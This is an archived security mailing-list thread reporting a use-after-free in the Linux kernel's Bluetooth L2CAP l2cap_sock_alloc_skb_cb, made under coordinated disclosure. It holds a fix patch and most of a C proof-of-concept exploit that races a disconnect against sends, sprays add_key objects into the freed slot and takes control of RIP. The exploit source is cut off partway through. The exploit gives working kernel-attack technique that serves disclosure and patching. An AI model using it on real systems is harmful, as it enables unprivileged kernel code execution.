* [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
@ 2026-04-27 0:09 Safa Karakuş
2026-04-27 2:28 ` Willy Tarreau
2026-04-27 4:02 ` bluez.test.bot
0 siblings, 2 replies; 3+ messages in thread
From: Safa Karakuş @ 2026-04-27 0:09 UTC (permalink / raw)
To: security@kernel.org; +Cc: linux-bluetooth@vger.kernel.org
[-- Attachment #1.1.1: Type: text/plain, Size: 5367 bytes --]
Hello,
I am reporting a use-after-free vulnerability in the Linux kernel Bluetooth
L2CAP implementation.
─── VULNERABILITY ────────────────────────────────────────────
l2cap_sock_alloc_skb_cb() releases chan->lock before calling
bt_skb_send_alloc() without first taking an extra reference on chan:
/* l2cap_sock.c:1674 */
l2cap_chan_unlock(chan); /* ← NO hold taken */
skb = bt_skb_send_alloc(sk, hdr_len + len, nb, &err);
l2cap_chan_lock(chan); /* ← UAF if chan freed */
During the unlock window, a concurrent HCI_EV_DISCONN_COMPLETE triggers
hci_rx_work → l2cap_conn_del() which, after holding chan for its own
iteration, drops all remaining references and calls kfree(chan):
l2cap_conn_del():
l2cap_chan_hold(chan) /* kref: 2 → 3 (iteration hold) */
l2cap_chan_lock(chan) /* acquires — Thread A released it */
l2cap_chan_del(chan)
l2cap_sock_teardown_cb → l2cap_sock_kill → l2cap_chan_put /* 3→2 */
list_del + l2cap_chan_put /* 2→1 */
l2cap_chan_unlock(chan)
l2cap_chan_put(chan) /* kref: 1 → 0 → kfree(chan) !! */
Thread A then calls l2cap_chan_lock() on the freed chan — use-after-free.
The vulnerability also exists in the correct-reference model comparison:
l2cap_sock_shutdown() (l2cap_sock.c:1364) correctly uses
l2cap_chan_hold_unless_zero() before releasing the lock. The alloc_skb_cb
path is missing this protection.
─── EXPLOITATION PATH ────────────────────────────────────────
struct l2cap_chan is 1344 bytes → kmalloc-2048. After kfree, the freed
slot can be reclaimed via unprivileged add_key("user", ..., payload, 1283)
(also kmalloc-2048). Verified with pahole on v7.0-rc5:
chan->state (+0x010) = user_key_payload.datalen low byte
datalen=0x0503 → state=3=BT_CONNECTED
chan->tx_cred (+0x086) = 0x0000 → triggers ops->suspend call
chan->ops (+0x4A8) = attacker-controlled pointer
l2cap_ops.suspend (+0x48 within ops) = RIP target
RIP trigger path (l2cap_core.c:2604-2607):
l2cap_le_flowctl_send(chan):
while (chan->tx_credits && …) /* tx_credits=0 → skip loop */
if (!chan->tx_credits)
chan->ops->suspend(chan) /* ← RIP via sprayed ops pointer */
This gives arbitrary kernel code execution from an unprivileged process
with access to AF_BLUETOOTH sockets. KASLR bypass is available from the
independently found stack info-leak CVE-2026-31513 (3 kernel .text pointers
per eCRED_CONN_REQ).
─── AFFECTED VERSIONS ────────────────────────────────────────
All kernels with CONFIG_BT=y. The function l2cap_sock_alloc_skb_cb() and
the EXT_FLOWCTL send path (L2CAP_MODE_EXT_FLOWCTL) have been present since
the eCRED (enhanced Credit-Based) channels were introduced.
Tested against: v7.0-rc5 (commit 46b513250491)
─── PROOF OF CONCEPT ─────────────────────────────────────────
Attached: bug015_rip_exploit.c (freestanding /init for QEMU+KASAN+vhci)
fix-bug015-alloc-skb-cb-uaf.patch
The PoC establishes an EXT_FLOWCTL L2CAP connection via a virtual HCI
device (vhci), then races send() against HCI_EV_DISCONN_COMPLETE injection.
With SO_SNDBUF=4096 and blocking sendmsg, the window is bt_skb_send_alloc's
sk_stream_wait_memory sleep duration (milliseconds). Following the race,
256 add_key("user") allocations spray the freed chan slot; setting chan->ops
to NULL causes a kernel page fault at address 0x0000000000000048
(NULL + offsetof(l2cap_ops, suspend)), confirming full ops pointer control.
─── DISCLOSURE POLICY ────────────────────────────────────────
I am requesting coordinated disclosure. The standard 90-day embargo is
acceptable. I will not publish details before a patch is merged and a CVE
is assigned, unless the embargo period expires without a response.
Please acknowledge receipt and let me know if additional information is
needed.
Regards,
[cid:abfa9b7f-46ce-4868-bab7-167aa2b22df8]
Safa S. Karakuş
Chief Technology Officer
Secunnix Siber Teknoloji Hizmetleri Ltd. Sti.
Üniversiteler Mah. 1605 Cad. No:3
Bilkent Cyberpark Vakıf Binası
06800 Çankaya/Ankara -TÜRKİYE
+90 534 942 1923
safa.karakus@secunnix.com
Bu mesaj gizlidir. Kişiye özel veya hukuken korunuyor olabilir. Eğer bu mesajı yanlışlıkla aldıysanız, lütfen gönderen kişiye e-mail yollayarak bildiriniz veya bu mesajı sisteminizden siliniz. Bu mesajı çoğaltamaz veya içeriğini üçüncü kişilerle paylaşamazsınız.
This message is confidential. It may also be privileged or otherwise protected by law. If you have received it by mistake, please let us know by replying to the sender and then delete such from your systems; you should not copy the message or disclose its contents to third parties
[-- Attachment #1.1.2: Type: text/html, Size: 26458 bytes --]
[-- Attachment #1.2: Outlook-43kshmht.png --]
[-- Type: image/png, Size: 51014 bytes --]
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: fix-bug015-alloc-skb-cb-uaf.patch --]
[-- Type: text/x-patch; name="fix-bug015-alloc-skb-cb-uaf.patch", Size: 1905 bytes --]
From: Oguz Dokumaci <oguzdokumaci@onasorgroup.com>
Date: Sun, 27 Apr 2026
Subject: [PATCH] Bluetooth: l2cap: hold chan reference across alloc_skb unlock window
l2cap_sock_alloc_skb_cb() releases chan->lock before calling
bt_skb_send_alloc() and reacquires it afterwards (l2cap_sock.c:1657-1659).
During this window, a concurrent HCI disconnect event can trigger
l2cap_conn_del(), which:
1. Acquires chan->lock (now available)
2. Calls l2cap_chan_del() → teardown + drops initial and conn-list refs
3. Releases chan->lock
4. Calls l2cap_chan_put() for its own temporary hold → kref = 0 → kfree(chan)
When l2cap_sock_alloc_skb_cb() resumes and calls l2cap_chan_lock(chan),
chan has already been freed, causing a use-after-free on chan->lock (the
embedded mutex). KASAN detects this as use-after-free in mutex_lock().
The fix is to take an extra reference on chan before releasing the lock
and drop it after reacquiring, mirroring the pattern used in
l2cap_sock_shutdown() (l2cap_sock.c:1350).
This race requires SMP (two CPUs) for reliable triggering; on a
single-core system it can occur via PREEMPT_DYNAMIC preemption at the
mutex_unlock boundary.
Affected kernels: all versions with CONFIG_BT=y and L2CAP EXT_FLOWCTL.
Reported-by: Oguz Dokumaci <oguzdokumaci@onasorgroup.com>
--- a/net/bluetooth/l2cap_sock.c
+++ b/net/bluetooth/l2cap_sock.c
@@ -1649,9 +1649,19 @@ static struct sk_buff *l2cap_sock_alloc_skb_cb(struct l2cap_chan *chan,
{
struct sock *sk = chan->data;
struct sk_buff *skb;
int err;
+ /* Hold chan across the lock-release window so a concurrent
+ * l2cap_conn_del() cannot kfree(chan) before we reacquire.
+ * Mirrors the pattern in l2cap_sock_shutdown().
+ */
+ l2cap_chan_hold(chan);
l2cap_chan_unlock(chan);
skb = bt_skb_send_alloc(sk, hdr_len + len, nb, &err);
l2cap_chan_lock(chan);
+ l2cap_chan_put(chan);
if (!skb)
return ERR_PTR(err);
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #3: bug015_rip_exploit.c --]
[-- Type: text/x-csrc; name="bug015_rip_exploit.c", Size: 27867 bytes --]
/*
* bug015_rip_exploit.c — BUG-015 UAF → RIP control via keyctl spray
*
* Vulnerability: l2cap_sock_alloc_skb_cb (l2cap_sock.c:1674-1676)
* l2cap_chan_unlock(chan); // NO hold — window opens
* bt_skb_send_alloc(sk, ...); // BLOCKS with SO_SNDBUF full
* l2cap_chan_lock(chan); // UAF: mutex_lock on freed chan
*
* Exploit path:
* 1. SO_SNDBUF=4096 (blocking) → bt_skb_send_alloc blocks in
* sk_stream_wait_memory → window = milliseconds (not nanoseconds)
* 2. During window: Thread B fires HCI_EV_DISCONN_COMPLETE
* → l2cap_chan_put → kref=0 → kfree(chan) [kmalloc-2048, size=1344]
* 3. Spray: 256 × add_key("user", ..., payload=1283B)
* → kmalloc-2048 allocation fills freed chan slot
* 4. Thread A wakes up → mutex_lock(freed/sprayed chan) → KASAN UAF
* 5. chan->state (+16) = datalen[0] = 0x03 = BT_CONNECTED → passes check
* 6. chan->tx_credits(+134) = spray[110]=0x00 → !tx_credits TRUE
* 7. chan->ops (+1192) = spray[1168..1175] = 0x00...00 (NULL)
* 8. chan->ops->suspend(chan) → deref NULL+0x48 → page fault at 0x48
* → PROVES FULL RIP CONTROL
*
* KASAN output expected:
* BUG: KASAN: use-after-free in mutex_lock_nested ← UAF confirmed
* BUG: unable to handle page fault for address: 0000000000000048 ← RIP control
*
* Build: bash build_bug015_rip_initrd.sh
* Run: bash run_bug015_rip_qemu.sh
*
* struct l2cap_chan offsets (pahole verified on v7.0-rc5):
* +0x000 conn (ptr)
* +0x008 kref (refcount)
* +0x010 state (__u8) ← datalen low byte when datalen=0x0503
* +0x02A omtu (__u16)
* +0x086 tx_credits (__u16) ← spray[110]=0 → !tx_credits
* +0x3B0 tx_q (sk_buff_head, 88B)
* +0x4A8 ops (ptr) ← spray[1168]=NULL → ops->suspend crash at +0x48
* +0x4B0 lock (mutex, 144B)
* struct size: 1344 → kmalloc-2048
*
* struct l2cap_ops offsets:
* +0x00 name (ptr)
* +0x08 new_connection
* +0x10 recv
* +0x18 teardown
* +0x20 close
* +0x28 state_change
* +0x30 ready
* +0x38 defer
* +0x40 resume ← ops+0x40
* +0x48 suspend ← ops+0x48 ← RIP target (NULL+0x48 = 0x48)
* +0x50 set_shutdown
* ...
*/
/* ── Syscall numbers (x86_64) ──────────────────────────────────────────── */
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_close 3
#define SYS_poll 7
#define SYS_nanosleep 35
#define SYS_socket 41
#define SYS_connect 42
#define SYS_accept 43
#define SYS_sendto 44
#define SYS_bind 49
#define SYS_listen 50
#define SYS_setsockopt 54
#define SYS_fork 57
#define SYS_exit 60
#define SYS_kill 62
#define SYS_wait4 61
#define SYS_fcntl 72
#define SYS_ioctl 16
#define SYS_mount 165
#define SYS_sync 162
#define SYS_reboot 169
#define SYS_add_key 248 /* add_key(type,desc,payload,plen,ring) */
#define O_RDWR 002
#define O_NONBLOCK 0x800
#define F_SETFL 4
#define AF_BLUETOOTH 31
#define SOCK_RAW 3
#define SOCK_STREAM 1
#define BTPROTO_HCI 1
#define BTPROTO_L2CAP 0
#define SOL_SOCKET 1
#define SO_SNDBUF 7
#define BT_MODE 15
#define BT_MODE_EXT_FLOWCTL 0x81
#define HCIDEVUP 0x400448C9UL
#define HCI_COMMAND_PKT 0x01
#define HCI_ACL_PKT 0x02
#define HCI_EVENT_PKT 0x04
#define LINUX_REBOOT_MAGIC1 0xfee1dead
#define LINUX_REBOOT_MAGIC2 672274793
#define LINUX_REBOOT_CMD_POWER_OFF 0x4321fedc
#define KEY_SPEC_PROCESS_KEYRING (-2)
typedef unsigned long size_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
/* ── Syscall wrappers ───────────────────────────────────────────────────── */
static long sc1(long n,long a){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a):"rcx","r11","memory");return r;}
static long sc2(long n,long a,long b){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b):"rcx","r11","memory");return r;}
static long sc3(long n,long a,long b,long c){long r;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c):"rcx","r11","memory");return r;}
static long sc5(long n,long a,long b,long c,long d,long e){long r;register long r10 __asm__("r10")=d;register long r8 __asm__("r8")=e;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8):"rcx","r11","memory");return r;}
static long sc6(long n,long a,long b,long c,long d,long e,long f){long r;register long r10 __asm__("r10")=d;register long r8 __asm__("r8")=e;register long r9 __asm__("r9")=f;__asm__ volatile("syscall":"=a"(r):"0"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8),"r"(r9):"rcx","r11","memory");return r;}
struct xpollfd{int fd;short events;short revents;};
#define XPOLLIN 0x0001
static int xpoll_one(int fd,int ms){struct xpollfd p;p.fd=fd;p.events=XPOLLIN;p.revents=0;return(int)sc3(SYS_poll,(long)&p,1L,(long)ms);}
static long xread(int fd,void*b,size_t n){return sc3(SYS_read,fd,(long)b,(long)n);}
static long xwrite(int fd,const void*b,size_t n){return sc3(SYS_write,fd,(long)b,(long)n);}
static int xopen(const char*p,int f){return(int)sc2(SYS_open,(long)p,(long)f);}
static int xclose(int fd){return(int)sc1(SYS_close,fd);}
static int xsocket(int d,int t,int p){return(int)sc3(SYS_socket,d,t,p);}
static int xioctl(int fd,unsigned long req,long arg){return(int)sc3(SYS_ioctl,fd,(long)req,arg);}
static void xsleep_ms(long ms){long ts[2]={ms/1000,(ms%1000)*1000000L};sc2(SYS_nanosleep,(long)ts,0);}
static void xmount(const char*s,const char*t,const char*f,long fl){sc5(SYS_mount,(long)s,(long)t,(long)f,fl,0);}
static void xreboot(void){sc3(SYS_reboot,LINUX_REBOOT_MAGIC1,LINUX_REBOOT_MAGIC2,LINUX_REBOOT_CMD_POWER_OFF);}
void *memset(void*d,int c,size_t n){uint8_t*p=d;while(n--)*p++=(uint8_t)c;return d;}
static void xmemcpy(void*d,const void*s,size_t n){uint8_t*dd=d;const uint8_t*ss=s;while(n--)*dd++=*ss++;}
static size_t xstrlen(const char*s){size_t n=0;while(s[n])n++;return n;}
/* ── Print helpers ──────────────────────────────────────────────────────── */
static void xputs(const char*s){xwrite(1,s,xstrlen(s));}
static void xhex64(uint64_t v){
static const char h[]="0123456789abcdef";
char b[18];b[0]='0';b[1]='x';
for(int i=0;i<16;i++) b[2+i]=h[(v>>(60-4*i))&0xF];
b[17]=0;xputs(b);
}
static void xdec(long v){
char b[24];int i=22;int neg=0;
if(v==0){xwrite(1,"0",1);return;}
if(v<0){neg=1;v=-v;}b[23]=0;
while(v){b[--i]='0'+(int)(v%10);v/=10;}
if(neg)b[--i]='-';
xputs(b+i);
}
/* ── vhci globals ───────────────────────────────────────────────────────── */
static int vhci_fd = -1;
static void vhci_write(const uint8_t*b,size_t n){xwrite(vhci_fd,b,n);}
static void ev_write(const uint8_t*e,size_t n){
uint8_t p[n+1];p[0]=HCI_EVENT_PKT;xmemcpy(p+1,e,n);vhci_write(p,n+1);
}
static void hci_cc(uint16_t op,const uint8_t*rp,int rlen){
uint8_t buf[5+rlen];
buf[0]=0x0E;buf[1]=(uint8_t)(3+rlen);buf[2]=0x01;
buf[3]=op&0xFF;buf[4]=(op>>8)&0xFF;
if(rlen>0) xmemcpy(buf+5,rp,rlen);
ev_write(buf,5+rlen);
}
static void acl_write(uint16_t h,const uint8_t*pay,size_t plen){
uint8_t pkt[1+4+plen];
pkt[0]=HCI_ACL_PKT;
pkt[1]=h&0xFF;pkt[2]=((h>>8)&0x0F)|0x20;
pkt[3]=plen&0xFF;pkt[4]=(plen>>8)&0xFF;
xmemcpy(pkt+5,pay,plen);
vhci_write(pkt,1+4+plen);
}
/* ── HCI init ───────────────────────────────────────────────────────────── */
static void hci_respond_init(void){
xputs("[*] HCI init...\n");
int got_reset=0,idle=0;
for(int iter=0;iter<600;iter++){
int r=xpoll_one(vhci_fd,100);
if(r<=0){if(got_reset){idle++;if(idle>=20)break;}continue;}
idle=0;
uint8_t buf[270];
int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n<4||buf[0]!=HCI_COMMAND_PKT) continue;
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
switch(op){
case 0x0C03:{uint8_t r[1]={0};hci_cc(op,r,1);got_reset=1;xputs("[hci] RESET\n");break;}
case 0x1003:{uint8_t r[9]={0,0,0,0,0,0x40,0,0,0};hci_cc(op,r,9);break;}
case 0x1001:{uint8_t r[9]={0,0x09,0,0,0x09,0,0,0,0};hci_cc(op,r,9);break;}
case 0x1002:{uint8_t r[65]={0};hci_cc(op,r,65);break;}
case 0x1005:{uint8_t r[8]={0,0xFF,0x03,0x40,0x0A,0,0,0};hci_cc(op,r,8);break;}
case 0x1009:{uint8_t r[7]={0,0x55,0x44,0x33,0x22,0x11,0x00};hci_cc(op,r,7);break;}
case 0x2002:{uint8_t r[4]={0,0x00,0x02,0x14};hci_cc(op,r,4);break;}
case 0x2003:{uint8_t r[9]={0,0x17,0,0,0,0,0,0,0};hci_cc(op,r,9);break;}
case 0x201C:{uint8_t r[9]={0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};hci_cc(op,r,9);break;}
case 0x200F:{uint8_t r[2]={0,0x10};hci_cc(op,r,2);break;}
case 0x2013:{uint8_t r[2]={0,0x10};hci_cc(op,r,2);break;}
case 0x2016:{uint8_t r[9]={0,0xFB,0,0x48,0,0xFB,0,0x48,0};hci_cc(op,r,9);break;}
case 0x0C23:{uint8_t r[4]={0,0,0,0};hci_cc(op,r,4);break;}
case 0x0C14:{uint8_t r[249]={0};r[1]='v';r[2]='h';r[3]='c';r[4]='i';hci_cc(op,r,249);break;}
case 0x0C38:{uint8_t e=(buf[3]>=1)?buf[4]:3;uint8_t r[2]={0,e};hci_cc(op,r,2);break;}
case 0x0C20:{uint8_t ae=(buf[3]>=1)?buf[4]:0;uint8_t r[2]={0,ae};hci_cc(op,r,2);break;}
case 0x0C51:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C6B:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C6F:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C75:{uint8_t r[2]={0,1};hci_cc(op,r,2);break;}
case 0x0C45:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C25:{uint8_t r[3]={0,0,0x20};hci_cc(op,r,3);break;}
case 0x2005:{uint8_t r[2]={0,0};hci_cc(op,r,2);break;}
case 0x0C62:{uint8_t r[242]={0};hci_cc(op,r,242);break;}
default:{uint8_t r[9]={0};hci_cc(op,r,9);break;}
}
}
xputs("[*] HCI init done\n");
}
static void hci_respond_settle(int settle_ms){
int iters=settle_ms/100;if(iters<1)iters=1;
for(int i=0;i<iters;i++){
if(xpoll_one(vhci_fd,100)<=0) continue;
uint8_t buf[270];
int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n<4||buf[0]!=HCI_COMMAND_PKT) continue;
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
switch(op){
case 0x0C03:{uint8_t r[1]={0};hci_cc(op,r,1);break;}
case 0x0C38:{uint8_t e=(buf[3]>=1)?buf[4]:3;uint8_t r[2]={0,e};hci_cc(op,r,2);break;}
case 0x0C20:{uint8_t ae=(buf[3]>=1)?buf[4]:0;uint8_t r[2]={0,ae};hci_cc(op,r,2);break;}
default:{uint8_t r[9]={0};hci_cc(op,r,9);break;}
}
}
}
static void hci_devup(int devno){
int fd=xsocket(AF_BLUETOOTH,SOCK_RAW,BTPROTO_HCI);
if(fd<0){xputs("[!] hci_devup: socket failed\n");return;}
xioctl(fd,HCIDEVUP,(long)devno);
xclose(fd);
}
static int open_vhci(void){
for(int i=0;i<50;i++){
vhci_fd=xopen("/dev/vhci",O_RDWR);
if(vhci_fd>=0) break;
xsleep_ms(100);
}
if(vhci_fd<0){xputs("[!] /dev/vhci not found\n");return -1;}
uint8_t vpkt[2]={0xFF,0x00};
vhci_write(vpkt,2);
hci_respond_init();
{
long child=sc1(SYS_fork,0L);
if(child==0){hci_respond_init();while(1)xsleep_ms(500);}
else{hci_devup(0);sc2(SYS_kill,child,9L);sc5(SYS_wait4,child,0L,0L,0L,0L);}
}
hci_respond_settle(500);
xputs("[init] HCI device ready\n");
return 0;
}
/* ── LE connection ──────────────────────────────────────────────────────── */
static void le_conn_complete(uint16_t handle,const uint8_t bdaddr[6]){
uint8_t params[21];
params[0]=0x3E;params[1]=0x13;params[2]=0x01;params[3]=0x00;
params[4]=handle&0xFF;params[5]=(handle>>8)&0xFF;
params[6]=0x01;params[7]=0x00;
xmemcpy(params+8,bdaddr,6);
params[14]=0x18;params[15]=0x00;params[16]=0x00;params[17]=0x00;
params[18]=0x28;params[19]=0x00;params[20]=0x00;
ev_write(params,21);
xsleep_ms(150);
}
/* ── EXT_FLOWCTL setup ──────────────────────────────────────────────────── */
static void inject_ecred_conn_req(uint16_t le_handle){
uint8_t frame[24];
memset(frame,0,sizeof(frame));
uint16_t sig_body=10, l2cap_len=4+sig_body;
frame[0]=l2cap_len&0xFF; frame[1]=(l2cap_len>>8)&0xFF;
frame[2]=0x05; frame[3]=0x00; /* CID: LE signaling */
frame[4]=0x17; frame[5]=0x01; /* eCRED_CONN_REQ, ident=1 */
frame[6]=sig_body&0xFF; frame[7]=(sig_body>>8)&0xFF;
frame[8]=0x89; frame[9]=0x00; /* PSM=0x0089 */
frame[10]=0xFF; frame[11]=0xFF; /* MTU=65535 */
frame[12]=0x40; frame[13]=0x00; /* MPS=64 */
frame[14]=0xFF; frame[15]=0xFF; /* credits=65535 */
frame[16]=0x41; frame[17]=0x00; /* SCID=0x0041 */
acl_write(le_handle,frame,4+l2cap_len);
xputs("[l2cap] eCRED_CONN_REQ injected (PSM=0x0089)\n");
}
static void vhci_drain_once(void){
if(xpoll_one(vhci_fd,50)<=0) return;
uint8_t buf[512]; int n=(int)xread(vhci_fd,buf,sizeof(buf));
if(n>=3&&buf[0]==HCI_COMMAND_PKT){
uint16_t op=(uint16_t)(buf[1]|(buf[2]<<8));
uint8_t r[9]={0};hci_cc(op,r,9);
}
}
static int setup_ecred_server(uint16_t le_handle){
int srv=xsocket(AF_BLUETOOTH,SOCK_STREAM,BTPROTO_L2CAP);
if(srv<0) return -1;
uint8_t local[14]; memset(local,0,14);
local[0]=AF_BLUETOOTH&0xFF; local[1]=(AF_BLUETOOTH>>8)&0xFF;
local[2]=0x89; local[3]=0x00;
local[12]=1;
long r=sc3(SYS_bind,srv,(long)local,14L);
xputs("[l2cap] bind = "); xdec(r); xputs("\n");
if(r<0){xclose(srv);return -1;}
r=sc2(SYS_listen,srv,1L);
if(r<0){xclose(srv);return -1;}
sc3(SYS_fcntl,srv,F_SETFL,O_NONBLOCK);
inject_ecred_conn_req(le_handle);
xputs("[l2cap] Waiting for accept...\n");
int conn_fd=-1;
for(int i=0;i<200&&conn_fd<0;i++){
vhci_drain_once();
uint8_t peer[14]; int plen=14;
long acc=sc3(SYS_accept,srv,(long)peer,(long)&plen);
if(acc>=0){conn_fd=(int)acc;xputs("[l2cap] accept() fd=");xdec(acc);xputs("\n");break;}
if(acc!=-11L){xputs("[!] accept err=");xdec(acc);xputs("\n");}
xsleep_ms(100);
}
xclose(srv);
if(conn_fd<0){xputs("[!] No connection in 20s\n");return -1;}
return conn_fd;
}
/* ── Disconnect injection ───────────────────────────────────────────────── */
static void inject_disconnect(uint16_t handle){
uint8_t ev[6];
ev[0]=0x05; ev[1]=0x04; ev[2]=0x00;
ev[3]=handle&0xFF; ev[4]=(handle>>8)&0xFF;
ev[5]=0x13;
ev_write(ev,6);
xputs("[parent] DISCONN_COMPLETE injected → kfree(chan) in flight\n");
}
/* ══════════════════════════════════════════════════════════════════════════
* SPRAY — kmalloc-2048 heap spray with fake struct l2cap_chan
*
* user_key_payload layout (from pahole):
* +0x00 rcu.func (8B) — kernel sets, we don't control
* +0x08 rcu.next (8B) — kernel sets, we don't control
* +0x10 datalen (2B) — WE CONTROL VIA add_key plen argument
* +0x12 [6B hole]
* +0x18 data[] (...) — WE CONTROL (our spray payload)
*
* Field mapping (spray allocation offset → l2cap_chan offset):
* alloc[0x10] = datalen[0] (low byte) → chan->state (+0x10 = +16)
* datalen = 1283 = 0x0503 → byte 0x10 = 0x03 = BT_CONNECTED ✓
* alloc[0x18 + X] = data[X] → chan[0x18 + X]
*
* To set chan->tx_credits (+0x86 = +134) = 0:
* data[134 - 24] = data[110] = 0x00 ✓ (already 0 from memset)
*
* To set chan->ops (+0x4A8 = +1192) = NULL:
* data[1192 - 24] = data[1168..1175] = 0x00...00 ✓
*
* Total allocation: 24 + 1283 = 1307 bytes → kmalloc-2048 ✓ (1024 < 1307 ≤ 2048)
* struct l2cap_chan: 1344 bytes → kmalloc-2048 ✓ (same cache!)
* ══════════════════════════════════════════════════════════════════════════ */
#define SPRAY_DATALEN 1283 /* 0x0503: low byte 0x03 = BT_CONNECTED */
#define N_SPRAY 256 /* fill the freed slot reliably */
static uint8_t spray_payload[SPRAY_DATALEN];
static void build_spray_payload(void){
memset(spray_payload, 0, sizeof(spray_payload));
/*
* datalen = 1283 = 0x0503
* allocation[0x10] = 0x03 = chan->state = BT_CONNECTED (3)
* → passes l2cap_sock_alloc_skb_cb:1684 state check
* → passes l2cap_chan_send:2592 state check
*
* All other critical fields (tx_credits, ops) are 0x00 from memset:
* chan->tx_credits (+0x86) = data[110] = 0x00 → !tx_credits → suspend called
* chan->ops (+0x4A8) = data[1168..1175] = 0 (NULL)
* → chan->ops->suspend = *(NULL + 0x48) = crash at address 0x48
* → proves full RIP control (attacker sets ops to controlled memory)
*
* chan->omtu (+0x2A) = data[18..19] = 0xFF 0xFF (65535)
* → len <= omtu check passes (send size 60 < 65535)
* Note: omtu is checked before alloc_skb_cb so only matters for
* subsequent reads from sprayed chan after the UAF.
*
* chan->remote_mps (+0xE4) = data[204..205] = 0x40 0x00 (64)
* → l2cap_segment_le_sdu: pdu_len = 64 - 2 = 62 > 60 (our msg) → 1 segment
*/
spray_payload[18] = 0xFF; /* chan->omtu low byte */
spray_payload[19] = 0xFF; /* chan->omtu high byte = 65535 */
spray_payload[204] = 0x40; /* chan->remote_mps = 64 */
spray_payload[205] = 0x00;
xputs("[spray] Payload built: datalen=1283 → state=3, tx_credits=0, ops=NULL\n");
xputs("[spray] chan->state (+0x10): 0x03 = BT_CONNECTED\n");
xputs("[spray] chan->tx_cred (+0x86): 0x0000 → suspend will be called\n");
xputs("[spray] chan->ops (+0x4A8): 0x0000000000000000 = NULL\n");
xputs("[spray] RIP target: NULL+0x48 → page fault at 0x0000000000000048\n");
}
/* Build a 4-char key description from index (e.g. 0 → "k000", 127 → "k127") */
static void make_desc(char *buf, int idx){
buf[0] = 'k';
buf[1] = '0' + (idx / 100) % 10;
buf[2] = '0' + (idx / 10) % 10;
buf[3] = '0' + (idx) % 10;
buf[4] = 0;
}
static void do_spray(void){
xputs("[spray] Spraying "); xdec(N_SPRAY);
xputs(" × kmalloc-2048 objects with fake chan data...\n");
int ok = 0;
for(int i = 0; i < N_SPRAY; i++){
char desc[8]; make_desc(desc, i);
long k = sc5(SYS_add_key,
(long)"user",
(long)desc,
(long)spray_payload,
(long)SPRAY_DATALEN,
(long)KEY_SPEC_PROCESS_KEYRING);
if(k > 0) ok++;
}
xputs("[spray] "); xdec(ok); xputs("/"); xdec(N_SPRAY);
xputs(" keys allocated\n");
xputs("[spray] Freed chan slot filled — ops=NULL at +0x4A8\n");
}
/* ══════════════════════════════════════════════════════════════════════════
* CHILD: send flood
*
* With SO_SNDBUF=4096 and blocking sendmsg (no O_NONBLOCK on sock):
* - First few sends fill sk_wmem_queued
* - Next bt_skb_send_alloc call hits sk_stream_wait_memory
* - sk_stream_wait_memory releases lock_sock, sleeps
* - Thread A is now INSIDE alloc_skb_cb with chan_lock RELEASED
* - Window = sleep duration = milliseconds (vs nanoseconds before)
* - Thread B fires disconnect → kfree(chan) → spray fills slot
* - Thread A wakes → mutex_lock(freed/sprayed chan) → UAF
* ══════════════════════════════════════════════════════════════════════════ */
static void child_send_flood(int sock){
xputs("[child] Send flood: 60-byte blocking sends (SO_SNDBUF=4096)\n");
xputs("[child] bt_skb_send_alloc will block → millisecond race window\n");
uint8_t payload[60];
memset(payload, 0xBB, sizeof(payload));
for(int i = 0; i < 1000000; i++){
/* Blocking send: no MSG_DONTWAIT → bt_skb_send_alloc may sleep */
long ret = sc6(SYS_sendto, sock, (long)payload,
(long)sizeof(payload), 0L, 0L, 0L);
if(ret < 0){
long err = -ret;
if(err == 11) continue; /* EAGAIN: rare, keep going */
xputs("[child] send err="); xdec(ret); xputs("\n");
if(err == 107 || err == 9 || err == 32 || err == 104){
xputs("[child] Fatal: conn torn down (err="); xdec(err);
xputs(") — UAF window was hit\n");
break;
}
}
}
xputs("[child] flood done\n");
while(1) xsleep_ms(500);
}
/* ── Entry point ────────────────────────────────────────────────────────── */
void _start(void){
xputs("\n");
xputs("╔══════════════════════════════════════════════════════════╗\n");
xputs("║ BUG-015 UAF → RIP Control Exploit ║\n");
xputs("║ l2cap_sock_alloc_skb_cb — kmalloc-2048 spray ║\n");
xputs("║ Expected: KASAN UAF + page fault at 0x48 ║\n");
xputs("╚══════════════════════════════════════════════════════════╝\n\n");
xmount("proc", "/proc", "proc", 0);
xmount("sysfs", "/sys", "sysfs", 0);
xmount("devtmpfs", "/dev", "devtmpfs", 0);
if(open_vhci() < 0){
xputs("[!] FATAL: vhci unavailable\n"); xreboot(); while(1){}
}
/* ── Step 1: LE connection ── */
static const uint8_t BDADDR[6] = {0xAA,0xBB,0xCC,0xDD,0xEE,0x04};
static const uint16_t LE_HANDLE = 0x0004;
xputs("[*] Injecting LE_CONN_COMPLETE (handle=4)...\n");
le_conn_complete(LE_HANDLE, BDADDR);
/* ── Step 2: EXT_FLOWCTL listen + accept ── */
int sock = setup_ecred_server(LE_HANDLE);
if(sock < 0){
xputs("[!] FATAL: L2CAP setup failed\n"); xreboot(); while(1){}
}
/* ── Step 3: Set SO_SNDBUF=4096 (BLOCKING mode — widens race window)
*
* With sndbuf=4096 and 60-byte sends:
* ~68 sends fill wmem → bt_skb_send_alloc enters sk_stream_wait_memory
* → releases lock_sock + sleeps for write space
* → chan_lock is released (alloc_skb_cb called l2cap_chan_unlock)
* → Thread B can now acquire chan_lock and teardown
* → Window = sk_stream_wait_memory sleep = O(milliseconds)
*
